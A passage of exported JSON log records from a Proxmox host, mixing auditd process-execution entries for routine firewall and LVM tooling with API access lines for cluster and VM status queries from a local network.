a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646101,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.101:66496): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966185744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1141"} {"@timestamp":1781965335098,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965335.098:65156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e35e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.667:61526): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64532e374740 items=0 ppid=1156 pid=59062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965646092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.092:66495): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966185744,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781965334169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965334.169:65155): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d27ba720 a1=64f8d73ba9c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62584 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.665:61525): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13c090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646084,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.084:66494): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966185744,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781965334139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965334.139:65154): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7414fa0 a1=64f8d73b80d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62583 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.660:61524): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140470 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646076,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.076:66493): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966183430,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965332.630:65153): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955f30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62582 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.655:61523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149ce0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646068,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.068:66492): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966183430,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965332.603:65150): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955e70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.650:61522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eddf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646054,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.054:66491): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966183430,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965327.597:65146): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955db0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.645:61521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1396f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646049,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.049:66490): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966183430,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965327.587:65143): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955cf0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.640:61520): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646045,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.045:66489): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966183430,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965326088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.088:65140): arch=c000003e syscall=59 success=yes exit=0 a0=5dbafa576b60 a1=5dbafa582a70 a2=5dbafa550680 a3=5 items=2 ppid=62571 pid=62577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555634,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.634:61519): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.043:66488): argc=1 a0=\"date\""} {"@timestamp":1781966181809,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.083:65139): arch=c000003e syscall=59 success=yes exit=0 a0=5dbabb724ac8 a1=7ffcc3543bb0 a2=5dbafa550680 a3=5dbabb70824e items=2 ppid=62571 pid=62573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.627:61518): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59055 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646037,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.037:66486): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966181809,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.083:65138): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc3543b70 a1=5dbafa572200 a2=5dbafa550680 a3=5 items=2 ppid=62571 pid=62572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.624:61517): arch=c000003e syscall=59 success=yes exit=0 a0=60471a629ae0 a1=60471a635dc0 a2=60471a603680 a3=5 items=2 ppid=59048 pid=59054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.029:66485): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966179794,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965326079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.079:65136): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555621,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.621:61516): arch=c000003e syscall=59 success=yes exit=0 a0=6046ff65bac8 a1=7ffe59b08f70 a2=60471a603680 a3=6046ff63f24e items=2 ppid=59048 pid=59050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646019,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.019:66484): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966179794,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965326071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.071:65135): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.620:61515): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe59b08f30 a1=60471a625180 a2=60471a603680 a3=5 items=2 ppid=59048 pid=59049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646011,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.011:66483): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966179794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965326065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.065:65134): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.616:61513): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646000,"@rawstring":"node=pve type=EXECVE msg=audit(1781965646.000:66482): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966179794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965326057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.057:65133): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555610,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.610:61512): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965645989,"@rawstring":"node=pve type=EXECVE msg=audit(1781965645.989:66481): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966179794,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965326050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.050:65132): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.603:61511): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965644093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965644.093:66480): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966178777,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1139"} {"@timestamp":1781965326045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.045:65131): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a5ac6be2740 items=0 ppid=1156 pid=62566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964555599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.599:61510): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eccf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965644067,"@rawstring":"node=pve type=EXECVE msg=audit(1781965644.067:66479): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966177376,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781965326043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.043:65130): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc140740 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555594,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.594:61509): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fba10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643799,"@rawstring":"node=pve type=EXECVE msg=audit(1781965643.799:66478): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966177376,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965326038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.038:65129): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964555587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964555.587:61508): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6ceed10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965643790,"@rawstring":"node=pve type=EXECVE msg=audit(1781965643.790:66475): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966177376,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965326032,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.032:65128): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed2b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964554823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.823:61507): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642588,"@rawstring":"node=pve type=EXECVE msg=audit(1781965642.588:66472): argc=7 a0=\"find\" a1=\"-L\" a2=\"/usr/local/rvm/hooks\" a3=\"-iname\" a4=\"after_cd*\" a5=\"-type\" a6=\"f\""} {"@timestamp":1781966175749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 903"} {"@timestamp":1781965326025,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.025:65127): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2cf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62563 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964554812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.812:61504): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965642586,"@rawstring":"node=pve type=EXECVE msg=audit(1781965642.586:66471): argc=2 a0=\"cat\" a1=\"/dev/fd/63\""} {"@timestamp":1781966175749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965326020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.020:65126): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed2b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964554420,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.420:61501): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db6c0 a1=64f8d73b30f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638782,"@rawstring":"node=pve type=EXECVE msg=audit(1781965638.782:66470): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175749,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965326015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.015:65125): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac90c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} 